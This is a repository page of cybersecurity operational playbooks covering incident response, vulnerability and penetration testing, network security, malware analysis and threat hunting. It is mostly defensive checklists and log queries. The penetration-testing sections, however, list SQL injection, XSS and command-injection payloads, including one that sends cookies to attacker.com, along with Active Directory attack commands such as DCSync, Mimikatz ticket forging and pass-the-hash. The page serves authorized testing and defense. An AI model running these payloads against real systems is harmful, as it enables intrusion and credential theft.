Repository navigation
Cybersecurity Operational Playbooks
A day-to-day operational reference spanning six core security functions - incident response, vulnerability assessment, penetration testing, network security, malware analysis, and threat hunting - built around specific, named scenarios (e.g., "Suspected Account Compromise") rather than abstract methodology.
Each of the six sections contains multiple standalone playbooks, each triggered by a specific indicator (e.g., a SIEM alert type) and structured as: trigger indicators โ immediate actions โ investigation steps โ containment/remediation โ closure criteria. Unlike NetworkAuditPlayBook.md (one long engagement procedure) or the Purple Team files (attack/detect exercises), this file is a library of discrete, independently-triggerable playbooks - pull out exactly the one matching your current alert.
Give a security operations team a single field guide covering the most common day-to-day scenarios across all six domains, so an analyst doesn't need to hunt across six different documents mid-incident.
- A specific alert or trigger fires and you need the matching playbook fast (check the Table of Contents for the closest match)
- Building or standardizing SOC runbooks across a team
- Cross-training analysts on domains outside their usual specialty (e.g., a network analyst covering malware triage)
- Incident Response Playbooks
- Vulnerability Assessment Playbooks
- Penetration Testing Playbooks
- Network Security Playbooks
- Malware Analysis Playbooks
- Threat Hunting Playbooks
- Unusual login locations/times
- Password reset requests
- Suspicious email activity
- Multi-factor authentication alerts
- Reports of unauthorized access
โก Confirm incident with affected user
โก Document initial report (who, what, when, where)
โก Notify security team and management
โก Preserve logs (email, authentication, VPN)
โก Take initial screenshots
โก Disable/suspend compromised account
โก Reset password for affected account
โก Terminate all active sessions
โก Review and revoke API tokens/keys
โก Enable enhanced monitoring on account
โก Check for forwarding rules (email)
โก Review recent account activity
โก Identify lateral movement attempts
# Email investigation
โก Check email rules and filters
โก Review sent items and deleted items
โก Check email forwards and delegates
โก Review calendar access and shares
# Authentication logs
โก Review successful logins (IPs, times, devices)
โก Check failed authentication attempts
โก Review MFA enrollment changes
โก Check password reset history
# Activity review
โก File access/downloads
โก Configuration changes
โก Data exfiltration indicators
โก Lateral movement attemptsโก Remove malicious email rules
โก Remove unauthorized delegates
โก Delete suspicious emails
โก Remove unauthorized devices
โก Reset all compromised credentials
โก Clear cached credentials
โก Force sign-out all devices
โก Restore account with new credentials
โก Re-enable MFA with new device
โก Restore legitimate email rules
โก Verify account settings
โก Restore delegates (if legitimate)
โก Monitor account for 72 hours
โก User re-authentication training
โก Complete incident report
โก Timeline documentation
โก Lessons learned session
โก Update security policies
โก User security awareness training
โก Implement additional controls
โก Close incident ticket
# Recent sign-ins
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'user@domain.com'" | Select-Object CreatedDateTime, UserPrincipalName, IPAddress, Location, Status
# Recent activities
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -UserIds user@domain.com
# Mailbox rule changes
Search-UnifiedAuditLog -UserIds user@domain.com -RecordType ExchangeItem -Operations New-InboxRule | Where-Object {$_.Operations -eq "New-InboxRule"}# Authentication logs
grep "user" /var/log/auth.log
grep "Failed password" /var/log/auth.log
last -f /var/log/wtmp
lastb -f /var/log/btmp
# User activity
history -r /home/user/.bash_history
find /home/user -type f -mtime -7# Event log analysis
Get-EventLog -LogName Security -InstanceId 4624,4625 | Where-Object {$_.Message -like "*username*"}
# Login history
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624}
# PowerShell history
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"- Multiple files encrypted with unusual extensions
- Ransom notes appearing on systems
- Inability to access files
- Suspicious scheduled tasks
- Network share encryption
- Performance degradation
โก DO NOT REBOOT infected systems
โก Isolate infected systems from network (pull cable)
โก Alert security team and management IMMEDIATELY
โก Activate incident response team
โก Document everything with timestamps
โก Identify patient zero
โก Isolate all affected systems
โก Disable wireless connections
โก Disconnect VPN connections
โก Identify ransomware variant (ransom note, file extensions)
โก Check backup integrity
โก Disable user accounts on infected systems
โก Block C2 domains/IPs at firewall
โก Disconnect backups from network
# Identify scope
โก Number of affected systems
โก Types of files encrypted
โก Network shares affected
โก Database servers impacted
โก Backup system status
โก Cloud storage impact
# Collect evidence
โก Ransom note (screenshot, copy text)
โก Sample encrypted files
โก Running processes
โก Network connections
โก Scheduled tasks
โก Registry autorun keys
โก Event logs# Identify ransomware variant
1. Upload ransom note to ID Ransomware (https://id-ransomware.malwarehunterteam.com/)
2. Upload encrypted file sample
3. Check extension against known ransomware
4. Search for decryption tools
# File analysis
file encrypted_file
strings encrypted_file | head -50
exiftool encrypted_file# DO NOT PAY RANSOM (unless legally authorized)
# Remove infection
โก Boot into safe mode or live USB
โก Run antimalware scans
โก Remove scheduled tasks
โก Remove registry persistence
โก Remove suspicious files
โก Check for secondary infections
โก Verify removal with multiple tools# Windows cleanup
# Safe mode boot
# Run in Command Prompt (Admin)
sfc /scannow
DISM /Online /Cleanup-Image /RestoreHealth
# Remove persistence
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
schtasks /query /fo LIST /v# Restore from backups
โก Verify backup integrity
โก Test restore on isolated system
โก Restore critical systems first
โก Validate restored data
โก Check for persistence mechanisms
โก Apply security patches
โก Change all passwords# Check for free decryptors
# Visit No More Ransom Project
# https://www.nomoreransom.org/
# File recovery attempts (if no backup)
photorec /dev/sda1
testdisk /dev/sdaโก Complete forensic analysis
โก Root cause analysis
โก Update security controls
โก Patch vulnerabilities
โก Implement EDR/XDR
โก User security training
โก Backup validation process
โก Incident report to management
โก Law enforcement notification (if required)
โก Insurance notification
โก Regular offline backups (3-2-1 rule)
โก Endpoint protection with behavior analysis
โก Email security and filtering
โก User security awareness training
โก Patch management process
โก Network segmentation
โก Principle of least privilege
โก MFA on all critical systems
โก Application whitelisting
โก Regular security audits
- Unusual data transfers
- Database dumps detected
- Credentials found on dark web
- External notification of breach
- Suspicious database queries
- Data appearing on breach sites
โก Confirm breach indicators
โก Identify data classification level
โก Estimate scope (number of records)
โก Identify affected systems
โก Activate incident response team
โก Preserve evidence
โก Begin timeline documentation
โก Isolate affected systems
โก Block unauthorized access
โก Reset compromised credentials
โก Patch vulnerabilities
โก Review access logs
โก Implement enhanced monitoring
โก Secure backup systems
# Data analysis
โก What data was accessed?
โก How was data exfiltrated?
โก When did breach occur?
โก Who is responsible (threat actor)?
โก What vulnerability was exploited?
# Log analysis
โก Database access logs
โก File access logs
โก Network traffic logs
โก Authentication logs
โก Application logs
โก Firewall logs# Database investigation
# MySQL
SELECT * FROM mysql.general_log WHERE event_time > 'YYYY-MM-DD';
SHOW PROCESSLIST;
# PostgreSQL
SELECT * FROM pg_stat_activity;
# Check for data exfiltration
grep -i "SELECT.*FROM" /var/log/mysql/mysql.log
grep -i "DUMP" /var/log/mysql/mysql.logโก Remove attacker access
โก Patch all vulnerabilities
โก Update security configurations
โก Remove malware/backdoors
โก Harden systems
โก Implement security controls
โก Restore systems from clean backups
โก Verify data integrity
โก Implement additional security
โก Reset all credentials
โก Re-enable systems gradually
โก Monitor for re-compromise
โ ๏ธ Legal/Regulatory Requirements
โก Internal notification
- Executive management
- Legal counsel
- PR/Communications
- Compliance officer
โก External notification (if required)
- Affected individuals (GDPR: 72 hours)
- Regulatory bodies
- Law enforcement
- Credit bureaus
- Insurance provider
- Business partners
โก Documentation
- What data was breached
- How many records affected
- What mitigation steps taken
- Contact information for questions
โก Forensic analysis report
โก Root cause analysis
โก Lessons learned session
โก Security improvement plan
โก Policy updates
โก User training
โก Penetration testing
โก Compliance audit
โก Final incident report
-- Suspicious database activity
SELECT * FROM information_schema.processlist
WHERE command != 'Sleep' AND user != 'system_user';
-- Large data extractions
SELECT * FROM mysql.slow_log
WHERE query_time > 10
ORDER BY start_time DESC;
-- Failed authentication attempts
SELECT * FROM failed_logins
WHERE timestamp > DATE_SUB(NOW(), INTERVAL 24 HOUR)
GROUP BY username
HAVING COUNT(*) > 10;Identify vulnerabilities in internal network infrastructure
โก IP ranges to scan
โก Systems in/out of scope
โก Testing timeframe
โก Authorized contacts
โก Rules of engagement
โก Approval documentation
# Ping sweep
nmap -sn 10.0.0.0/24 -oA discovery_scan
# Quick port scan
nmap -sS -T4 -p- 10.0.0.0/24 -oA quick_scan
# Service version detection
nmap -sV -O 10.0.0.0/24 -oA service_scan
# Detailed scan of discovered hosts
nmap -sC -sV -O -p- target_host -oA detailed_scan# SMB enumeration
enum4linux -a target_host
smbclient -L //target_host
smbmap -H target_host
crackmapexec smb target_host -u '' -p ''
# HTTP/HTTPS enumeration
nikto -h http://target_host
whatweb target_host
curl -I http://target_host
# FTP enumeration
nmap -p 21 --script ftp-* target_host
# SNMP enumeration
snmpwalk -v 2c -c public target_host
onesixtyone -c community.txt target_host
# DNS enumeration
dig @dns_server domain.com ANY
dig @dns_server domain.com AXFR
dnsrecon -d domain.com# Nmap NSE vulnerability scan
nmap --script vuln target_host -oA vuln_scan
# OpenVAS scan
# Launch from web interface
# Nessus scan
# Launch from web interface
# Manual checks
testssl.sh https://target_host
sslscan target_host# Web application testing
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target/FUZZ -w wordlist.txt
# Check for default credentials
hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv target protocol
# SQL injection testing
sqlmap -u "http://target/page?id=1" --dbs
# File upload testing
# Test upload restrictions
# Try various file types
# Check for path traversalRisk Matrix:
โโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโ
โ โ Low โ Medium โ High โ
โโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโค
โ Critical โ Medium โ High โ Critical โ
โโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโค
โ High โ Low โ Medium โ High โ
โโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโค
โ Medium โ Low โ Low โ Medium โ
โโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโค
โ Low โ Info โ Low โ Low โ
โโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโ
Likelihood
Prioritization criteria:
โก CVSS score
โก Exploit availability
โก Asset criticality
โก Data sensitivity
โก Exposure level
โก Business impact
Report Structure:
โก Executive Summary
- Overview of findings
- Risk summary
- Key recommendations
โก Methodology
- Tools used
- Testing approach
- Limitations
โก Findings
- Vulnerability description
- Affected systems
- Risk rating
- Proof of concept
- Remediation steps
- References (CVE, etc.)
โก Recommendations
- Prioritized action plan
- Quick wins
- Long-term improvements
โก Appendices
- Detailed scan results
- Tool outputs
- Screenshots
# Check for MS17-010 (EternalBlue)
nmap -p 445 --script smb-vuln-ms17-010 target
# Check for BlueKeep (CVE-2019-0708)
nmap -p 3389 --script rdp-vuln-ms19-0708 target
# Check for Log4Shell
nmap -p 8080 --script http-vuln-cve2021-44228 target
# Check for Shellshock
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/test.sh target# Default credentials
hydra -C default-creds.txt target protocol
# Weak SSL/TLS
testssl.sh --severity HIGH target
# Anonymous FTP
ftp target
# Try: anonymous / anonymous
# Open SMB shares
smbclient -L //target -NAssess external-facing systems and identify attack surface
# Subdomain enumeration
subfinder -d domain.com -o subdomains.txt
amass enum -d domain.com
assetfinder --subs-only domain.com
# DNS reconnaissance
dig domain.com ANY
dig domain.com MX
dig domain.com NS
host -t ns domain.com
# Reverse DNS
for ip in $(cat ip_list.txt); do host $ip; done
# SSL certificate transparency
curl -s "https://crt.sh/?q=%.domain.com&output=json" | jq -r '.[].name_value' | sort -u
# Shodan
shodan search "org:\"Company Name\""# Quick scan of common ports
nmap -sS -T4 -Pn -p 80,443,22,21,25,3389,8080,8443 target -oA quick
# Full port scan
nmap -sS -T4 -Pn -p- target -oA fullscan
# Service detection
nmap -sV -sC -p $(cat ports.txt) target -oA detailed# Technology identification
whatweb -a 3 https://target.com
wappalyzer (browser extension)
# Directory enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,pdf
# Vulnerability scanning
nikto -h https://target.com
nuclei -u https://target.com -severity critical,high
# SSL/TLS assessment
sslyze --regular target.com
testssl.sh https://target.com
# Header analysis
curl -I https://target.com# SPF record check
dig target.com TXT | grep spf
# DMARC record check
dig _dmarc.target.com TXT
# DKIM record check
dig default._domainkey.target.com TXT
# MX record check
dig target.com MX# AWS S3 buckets
aws s3 ls s3://company-name --no-sign-request
# Try common naming: company, company-name, company-backup, etc.
# Azure storage
# Try: https://companyname.blob.core.windows.net/
# Try: https://company-name.blob.core.windows.net/
# Google Cloud Storage
# Try: https://storage.googleapis.com/company-name
# Try: https://storage.googleapis.com/companyname
# Check for exposed credentials
grep -r "api_key\|apikey\|api-key" source_code/
grep -r "secret\|password\|token" source_code/# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com ext:sql | ext:txt | ext:log
# GitHub reconnaissance
# Search for: "company.com" password
# Search for: "company.com" api_key
# Search for: "company.com" secret
# Pastebin/paste sites
# Search for company domain
# Search for employee emailsโก Asset inventory (IPs, domains, subdomains)
โก Open ports and services
โก Web application findings
โก Email security posture
โก Cloud exposure
โก Information leakage
โก Prioritized risk assessment
โก Remediation recommendations
# Application mapping
โก Identify entry points
โก Map application flow
โก Identify user roles
โก Document functionality
โก Identify technologies used
# Tools
whatweb -a 3 https://target.com
wappalyzer
builtwith.com# Test for:
โก Weak password policy
โก Username enumeration
โก Account lockout mechanism
โก Session management
โก Remember me functionality
โก Password reset flow
โก Multi-factor authentication bypass
# Brute force (authorized testing only)
hydra -l admin -P passwords.txt https://target.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
# Session testing
# Check cookie flags: Secure, HttpOnly, SameSite
# Test session timeout
# Test session fixation
# Test for concurrent sessions# Test for:
โก Horizontal privilege escalation
โก Vertical privilege escalation
โก Insecure Direct Object Reference (IDOR)
โก Missing function level access control
# IDOR testing
# Try accessing other users' resources
/user/profile?id=123
/user/profile?id=124
/api/user/123/details
/api/user/124/details
# Privilege escalation
# Access admin functions as regular user
/admin/users
/api/admin/settings# Authentication bypass
' OR '1'='1'--
admin'--
' OR '1'='1'/*
# Error-based
' AND 1=CONVERT(int,(SELECT @@version))--
# Union-based
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,email FROM users--
# Boolean-based blind
' AND 1=1--
' AND 1=2--
# Time-based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--# Reflected XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
# Stored XSS
<script>document.location='http://attacker.com/?c='+document.cookie</script>
# DOM XSS
# Check JavaScript that processes URL parameters
# Test with: #<script>alert('XSS')</script># Test inputs
; ls -la
| whoami
& ping -c 4 attacker.com
`cat /etc/passwd`
$(whoami)
# Common injection points
- File upload paths
- System command inputs
- Ping/traceroute utilities
- Image processingTest cases:
โก PHP web shell (shell.php)
โก Double extension (shell.php.jpg)
โก Null byte (shell.php%00.jpg)
โก MIME type manipulation
โก Path traversal (../../shell.php)
โก Large file DoS
โก Malicious file content
Test for:
โก Payment bypass
โก Coupon code abuse
โก Race conditions
โก Workflow bypass
โก Cart manipulation
โก Price manipulation
โก Negative values
โก Quantity manipulation
# Local storage inspection
localStorage
sessionStorage
# Cookie inspection
document.cookie
# JavaScript analysis
# Check for:
- Sensitive data in JS
- API keys
- Internal URLs
- Debug codeThe fields in this fenced example are intentional fill-in values, not completed findings. Replace each bracketed field with evidence from an authorized assessment. If no CVE or CWE applies, write Not applicable / not established rather than inventing an identifier. Never publish real client URLs, credentials, or screenshots in this repository. Validate severity against the relevant CVSS version and the environment's actual impact.
# Vulnerability Title
**Severity:** Critical/High/Medium/Low
**CVSS Score:** X.X
**CWE:** CWE-XXX
## Description
[Detailed description of vulnerability]
## Affected Components
- URL: https://target.com/vulnerable-page
- Parameter: vulnerable_param
- HTTP Method: POST
## Proof of Concept
1. Navigate to: https://target.com/vulnerable-page
2. Enter payload: [payload]
3. Observe: [result]
## Impact
[Business and technical impact]
## Remediation
1. [Step 1]
2. [Step 2]
3. [Step 3]
## References
- OWASP: [link]
- CVE: [CVE-XXXX-XXXX]
- CWE: [link]
## Evidence
[Screenshots]# Assuming network access obtained
# Network discovery
nmap -sn 192.168.1.0/24
crackmapexec smb 192.168.1.0/24
# Identify Domain Controller
nmap -p 88,389,636 192.168.1.0/24# Without credentials
enum4linux -a dc_ip
ldapsearch -x -h dc_ip -s base namingcontexts
# With credentials
crackmapexec smb dc_ip -u username -p password --users
crackmapexec smb dc_ip -u username -p password --groups
crackmapexec smb dc_ip -u username -p password --shares
# Bloodhound data collection
bloodhound-python -d domain.com -u username -p password -ns dc_ip -c all# LLMNR/NBT-NS poisoning
responder -I eth0 -wrf
# SMB relay
ntlmrelayx.py -tf targets.txt -smb2support
# Kerberoasting
impacket-GetUserSPNs domain.com/username:password -dc-ip dc_ip -request
# AS-REP roasting
impacket-GetNPUsers domain.com/ -usersfile users.txt -dc-ip dc_ip# Pass the hash
crackmapexec smb 192.168.1.0/24 -u username -H ntlm_hash --local-auth
# PSExec
impacket-psexec domain/username:password@target_ip
# WMI
impacket-wmiexec domain/username:password@target_ip
# Check local admin access
crackmapexec smb 192.168.1.0/24 -u username -p password --local-auth# Find Domain Admins
net group "Domain Admins" /domain
# Check privileges
whoami /priv
whoami /groups
# Mimikatz (on compromised system)
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets# DCSync attack
impacket-secretsdump domain/username:password@dc_ip
# Golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt
# Silver ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:service.domain.com /service:cifs /rc4:hash /pttโก LLMNR/NBT-NS poisoning
โก SMB relay
โก Kerberoasting
โก AS-REP roasting
โก Password spraying
โก GPP password extraction
โก Unconstrained delegation
โก Constrained delegation
โก Pass the hash
โก Pass the ticket
โก Overpass the hash
โก DCSync
โก Golden ticket
โก Silver ticket
โก AdminSDHolder abuse
โก DCShadow
# Snort rule
alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan"; flags:S; threshold: type threshold, track by_src, count 20, seconds 60; sid:1000001;)
# Investigation
tcpdump -nn -r pcap_file 'tcp[tcpflags] & tcp-syn != 0'# SSH brute force
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
# RDP brute force (Windows)
Get-EventLog -LogName Security -InstanceId 4625 | Group-Object -Property Message | Select-Object Count, Name | Sort-Object Count -Descending
# Response
# Block source IP
iptables -A INPUT -s attacker_ip -j DROP
ufw deny from attacker_ip# Large outbound transfers
tcpdump -nn -r pcap_file 'greater 10000' and dst net not 10.0.0.0/8
netstat -ant | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
# DNS tunneling detection
# Look for:
- High volume of DNS queries
- Long domain names
- Unusual DNS record types (TXT, NULL)
- Queries to random subdomains
# Investigation
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | sort | uniq -c | sort -nr# Indicators
- Beaconing (regular intervals)
- Connections to known bad IPs
- Unusual ports
- Encoded data in HTTP headers
# Beacon detection
zeek -r capture.pcap protocols/http/detect-web-beaconing.zeek
# Check connections
netstat -anp | grep ESTABLISHED
ss -tulpn# Start Zeek
zeek -i eth0 local
# Analyze PCAP
zeek -r capture.pcap
# Check generated logs
# conn.log - All connections
# http.log - HTTP traffic
# dns.log - DNS queries
# files.log - File transfers
# ssl.log - SSL/TLS connections# HTTP traffic
http
# Specific IP
ip.addr == 192.168.1.100
# Port
tcp.port == 80
# SYN packets
tcp.flags.syn == 1 && tcp.flags.ack == 0
# Failed connections
tcp.flags.reset == 1
# Large packets
frame.len > 1000
# Suspicious protocols
ftp || telnet || rsh
# File transfers
http.request.method == "POST" || ftp-data
โก Isolate infected system
โก Document system state
โก Collect sample safely
โก Create hash (MD5, SHA256)
โก Check VirusTotal
โก Set up analysis environment# File information
file malware.exe
exiftool malware.exe
strings malware.exe | grep -i "http\|ip\|password\|registry"
# PE analysis (Windows executables)
pefile malware.exe
peframe malware.exe
# Hash calculation
md5sum malware.exe
sha256sum malware.exe
# VirusTotal check
# Upload hash, not file (to avoid submission)# Recommended sandboxes:
- Cuckoo Sandbox
- Any.run
- Joe Sandbox
- Hybrid Analysis
# Monitor:
โก File system changes
โก Registry modifications
โก Network connections
โก Process creation
โก Dropped files
โก Persistence mechanisms# Capture traffic
tcpdump -i eth0 -w malware_traffic.pcap
# Analyze
wireshark malware_traffic.pcap
# Look for:
- C2 servers
- Downloaded payloads
- Exfiltrated data
- Domain names
- IP addresses# Windows monitoring
# Process Monitor (Procmon)
# Process Explorer
# Regshot (before/after)
# Wireshark
# Fakenet-NG (network simulation)
# Linux monitoring
strace ./malware
ltrace ./malware
tcpdump -i any -w capture.pcap &
./malwareExtract and document:
โก File hashes
โก IP addresses
โก Domain names
โก URLs
โก Email addresses
โก Registry keys
โก File paths
โก Mutex names
โก Service names
โก User agents
"Attackers who have gained initial access will attempt lateral movement using SMB, WMI, or PSExec"
- Windows Event Logs (Security, System, PowerShell)
- Network traffic (NetFlow, Zeek)
- EDR telemetry
- Sysmon logs
# Logon Type 3 (Network logon)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} | Where-Object {$_.Message -like "*Logon Type: 3*"}
# Admin share access
Get-WinEvent -FilterHashtable @{LogName='Security';ID=5140} | Where-Object {$_.Message -match '\\\\*\\C\$|\\ADMIN\$'}
# Service creation (PSExec indicator)
Get-WinEvent -FilterHashtable @{LogName='System';ID=7045} | Where-Object {$_.Message -like "*PSEXESVC*"}
# Remote PowerShell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';ID=4104}# Process creation
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[EventData[Data[@Name='CommandLine'] and (contains(Data,'\\\\'))]]"
# Network connections to internal IPs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 3 -and $_.Message -match "192.168"}# Unusual authentication patterns
- Authentication from workstation to workstation
- Authentication outside business hours
- Multiple failed then successful authentication
- Privileged account used from workstation
# Network anomalies
- Internal port scanning
- Unusual SMB traffic
- WMI queries across network
- Large data transfers between workstationsIf lateral movement detected:
โก Isolate affected systems
โก Reset credentials
โก Hunt for additional compromised systems
โก Analyze attacker techniques
โก Implement detection rules
โก Update defensive tools
# Check autorun keys
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# PowerShell profile
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
# Winlogon
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"# List all scheduled tasks
schtasks /query /fo LIST /v
# Filter suspicious
schtasks /query /fo LIST /v | findstr /i "author\|taskname\|command"
# Check for unusual execution times
Get-ScheduledTask | Where-Object {$_.Principal.UserId -ne "SYSTEM"}# List services
sc query state= all
Get-Service
# Check service binaries
wmic service get name,displayname,pathname,startmode
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v """# List WMI subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding# Check cron for all users
for user in $(cut -f1 -d: /etc/passwd); do echo "### Cron for $user ###"; crontab -u $user -l; done
# System cron
cat /etc/crontab
ls -la /etc/cron.*# Check startup scripts
ls -la /etc/init.d/
ls -la /etc/systemd/system/
systemctl list-unit-files
# Check rc.local
cat /etc/rc.local# Check authorized_keys
find / -name authorized_keys 2>/dev/null
cat ~/.ssh/authorized_keys# System Information
uname -a # Kernel version
cat /etc/*release # OS version
hostname # Hostname
ifconfig / ip a # IP address
# User Information
whoami # Current user
id # User ID and groups
who / w # Logged in users
last # Login history
# File Operations
find / -name file.txt # Find file
find / -perm -4000 # Find SUID files
grep -r "text" /path # Recursive search
ls -la # List with permissions
# Network
netstat -tulpn # Listening ports
ss -tulpn # Socket statistics
ps aux # Running processes
top / htop # Process monitoring
# Privilege Escalation
sudo -l # Sudo privileges
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes# System Information
systeminfo # System details
hostname # Computer name
ipconfig /all # Network configuration
whoami /all # Current user info
# User Information
net user # Local users
net localgroup # Local groups
net user username # User details
net group /domain # Domain groups
# Network
netstat -ano # Network connections
route print # Routing table
arp -a # ARP cache
# Process Information
tasklist # Running processes
wmic process list # Process details
schtasks /query # Scheduled tasks
# Services
sc query # Service status
wmic service list brief # Service details# Basic Commands
search cve:2017 # Search exploits
use exploit/path # Select module
show options # View settings
set OPTION value # Set option
run / exploit # Execute
# Meterpreter
sysinfo # System info
getuid # Current user
ps # Processes
shell # Command shell
download file # Download file
upload file # Upload file
screenshot # Take screenshot
hashdump # Dump hashes# Authentication Bypass
' OR '1'='1'--
admin'--
' OR 1=1#
# Union Attack
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--
# Database Enumeration
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
# Time-Based Blind
' OR SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--#!/bin/bash
# Quick network scanner
TARGET=$1
PORTS="21,22,23,25,80,443,445,3306,3389,8080"
echo "[*] Scanning $TARGET"
# Quick scan
echo "[*] Running quick port scan..."
nmap -sS -T4 -p $PORTS $TARGET -oN quick_scan.txt
# Service detection
echo "[*] Running service detection..."
nmap -sV -sC -p $PORTS $TARGET -oN service_scan.txt
# Vulnerability scan
echo "[*] Running vulnerability scan..."
nmap --script vuln -p $PORTS $TARGET -oN vuln_scan.txt
echo "[+] Scans complete!"
echo "[+] Results saved to:"
echo " - quick_scan.txt"
echo " - service_scan.txt"
echo " - vuln_scan.txt"#!/bin/bash
# Failed SSH login analysis
LOG_FILE="/var/log/auth.log"
echo "[*] Analyzing failed SSH logins..."
echo "[*] Top 10 attacking IPs:"
grep "Failed password" $LOG_FILE | awk '{print $11}' | sort | uniq -c | sort -nr | head -10
echo ""
echo "[*] Top 10 targeted usernames:"
grep "Failed password" $LOG_FILE | awk '{print $9}' | sort | uniq -c | sort -nr | head -10
echo ""
echo "[*] Failed login timeline (last 24 hours):"
grep "Failed password" $LOG_FILE | tail -n 100โก Scope of work defined
โก Authorization letter signed
โก Rules of engagement documented
โก Testing windows agreed
โก Emergency contacts obtained
โก Insurance verified
โก Legal review completed
โก Non-disclosure agreement signed
โก Statement of work finalized
โก Kickoff meeting scheduled
โก All access removed
โก Testing tools removed from systems
โก Evidence securely stored
โก Logs reviewed
โก Report drafted
โก Findings validated
โก Report reviewed by second tester
โก Client debrief scheduled
โก Remediation timeline discussed
โก Follow-up retest scheduled (if needed)
Primary Contact:
Name: _______________
Phone: ______________
Email: ______________
Secondary Contact:
Name: _______________
Phone: ______________
Email: ______________
Legal Counsel:
Name: _______________
Phone: ______________
Email: ______________
Management:
Name: _______________
Phone: ______________
Email: ______________
External Resources:
Forensics Firm: _______________
Incident Response Firm: _______________
Law Enforcement Contact: _______________
These playbooks should be customized for your specific environment and regularly updated based on lessons learned and evolving threats.
- README.md - PlayBooks section index
๐ Source: PlayBooks/cybersecurity_playbooks.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Playbooks
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics